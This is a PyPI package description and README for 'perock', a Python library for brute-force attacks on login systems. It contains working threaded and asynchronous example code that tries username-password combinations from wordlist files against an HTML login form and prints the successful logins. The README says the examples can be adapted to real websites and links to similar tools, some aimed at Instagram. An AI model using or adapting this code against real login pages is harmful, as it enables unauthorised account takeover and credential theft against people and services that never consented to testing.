Metadata-Version: 2.1
Name: perock
Version: 0.0.3
Summary: Simple general purpose python bruteforce library
Home-page: https://github.com/Sekgobela-Kevin/perock
Author: Sekgobela Kevin
Author-email: kevinnoko23@gmail.com
Project-URL: Bug Tracker, https://github.com/Sekgobela-Kevin/perock/issues
Keywords: attack,bruteforce,hacking,multithreading,asynchronous
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: GNU General Public License v3 (GPLv3)
Classifier: Operating System :: OS Independent
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.6
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: prodius
Requires-Dist: forcetable (>=0.0.4)

# perock

### Description
Perock is Python bruteforce attack library built on threads and asyncio. Its
intended for simplifying bruteforce attack by performing common tasks in
bruteforce such as calculating cartesian product.

Perock was built to be general purpose in that it can be used for wide 
variety of bruteforce attack activities. It can be used with html forms,
file with passwords, API requiring username and password, etc.

All it takes is defining how to interact with the system/target and validate
bruteforce data such as username and password. The rest will be handled for you
including when to terminate based on certain conditions which would
improve performance.

#### Pros
- Simple and easy to get started.
- Supports concurrency with asycio and threads.
- Performs faster with optimisations.
- General purpose(almost any bruteforce attack activity)
- Bruteforce data can be loaded from csv and json files.

#### Cons
- Performs slower than manually written code.
- Python 3.5 or less not supported.

### Install
In your command-line application enter this:
```bash 
pip install perock
```

### Environment
- Tested with Python 3.6, 3.8 and 3.10.

### Examples


>Examples above requires active web server running on
[http://127.0.0.1:5000](http://127.0.0.1:5000).  
Source files for the web server and the examples can be found 
[here](https://github.com/Sekgobela-Kevin/perock/tree/main/examples).

#### Import neccessay modules
```python
from perock import forcetable
from perock import attack
from perock import runner

import requests
import aiohttp

import asyncio
```

#### Setup bruteforce data
```python
# Create field with usernames
usernames_field = forcetable.FieldFile("usernames", "usernames.txt")
usernames_field.set_item_name("username")

# Create field with passwords
passwords_field = forcetable.FieldFile("passwords", "passwords.txt")
passwords_field.set_item_name("password")

# Create table and add fields
table = forcetable.Table()
table.add_field(usernames_field)
table.add_field(passwords_field)
# Sets usernames_field as primary field of table
table.set_primary_field(usernames_field)

# table will handle cartesian product of the fields
# table also contains records created from the fields
```

#### Threaded bruteforce attack
```python
class LoginPageAttack(attack.Attack):
    def __init__(self, target, data: dict, retries=1) -> None:
        super().__init__(target, data, retries)
        # self._responce can also be None or Exception
        # Responce can be anything but None and Exception are special.
        self._responce: requests.Response

    @classmethod
    def create_session(cls):
        # Creates session object to use with requests
        # That can improve request performance
        return requests.Session()

    def request(self):
        # Performs request with target and return responce
        if self.session_exists():
            session = self.get_session()
            return session.post(self._target, data=self._data)
        else:
            return requests.post(self._target, data=self._data)
            

    def failure(self):
        # Tests if attempt failed or not
        if self.target_reached():
            if b"Failed to login" in self._responce.content:
                return True
            elif b"No such username" in self._responce.content:
                return True
        return False

    def success(self):
        # Tests if attempt failed or not
        if self.target_reached():
            return b"Login successful" in self._responce.content
        return False

    def target_errors(self):
        if self.target_reached():
            return self._responce.status_code != 200
        return False

    def after_request(self):
        super().after_request()
        if self.failure():
            #print("Attempt failed:", self._data)
            pass
        elif self.success():
            print("Attempt success:", self._data)
        elif self.errors():
            print("Attempt errors:", self._data)
            print("Responce message:", self._responce_msg)


# Creates runner object to perform bruteforce
runner_object = runner.RunnerThread(
    LoginPageAttack, "http://127.0.0.1:5000/login", table)

# Enables optimisation(requires primary field)
runner_object.enable_optimise()
runner_object.run()
```

#### Asynchronous bruteforce attack
```python
class LoginPageAttackAsync(attack.AttackAsync):
    def __init__(self, target, data: dict, retries=1) -> None:
        super().__init__(target, data, retries)
        # self._responce can also be None or Exception
        # Responce can be anything but None and Exception are special.
        self._responce: aiohttp.ClientResponse
        self._session: aiohttp.ClientSession

    @classmethod
    async def create_session(cls):
        # Creates session object to use with request
        return aiohttp.ClientSession()

    async def request(self):
        if self.session_exists():
            return await self._session.post(self._target, data=self._data)
        else:
            async with await self.create_session() as session:
                return await session.post(self._target, data=self._data)

    async def failure(self):
        if await self.target_reached():
            if b"Failed to login" in await self._responce.read():
                return True
            elif b"No such username" in await self._responce.read():
                return True
        return False

    async def success(self):
        if await self.target_reached():
            return b"Login successful" in await self._responce.read()
        return False

    async def target_errors(self):
        if await self.target_reached():
            return self._responce.status != 200
        return False

    async def after_request(self):
        await super().after_request()
        if await self.failure():
            #print("Attempt failed:", self._data)
            pass
        elif await self.success():
            print("Attempt success:", self._data)
        elif await self.errors():
            print("Attempt errors:", self._data)
            print("Responce message:", self._responce_msg)


# Creates runner object to perform bruteforce
runner_object = runner.RunnerAsync(
    LoginPageAttackAsync, "http://127.0.0.1:5000/login", table)

# Enables optimisation(requires primary field)
runner_object.enable_optimise()
asyncio.run(runner_object.run())
```

#### Free fields resources
```python
# FileField is backed by file object.
# Its important to close it after use.
usernames_field.close()
usernames_field.close()
```

>The examples above can be easily modified based on
[bruteforcing websites login forms](https://zsecurity.org/bruteforcing-websites-login-page-using-python/) or something unique
and different.

### Similar projects
- [instaBrute](https://github.com/chinoogawa/instaBrute)
- [Brute_Force](https://github.com/Matrix07ksa/Brute_Force)
- [Instagram Bruter](https://github.com/Bitwise-01/Instagram-)
- [python-bruteForce](https://github.com/Antu7/python-bruteForce)
- [Multi-Threaded-BruteForcer](https://github.com/nasbench/Multi-Threaded-BruteForcer)
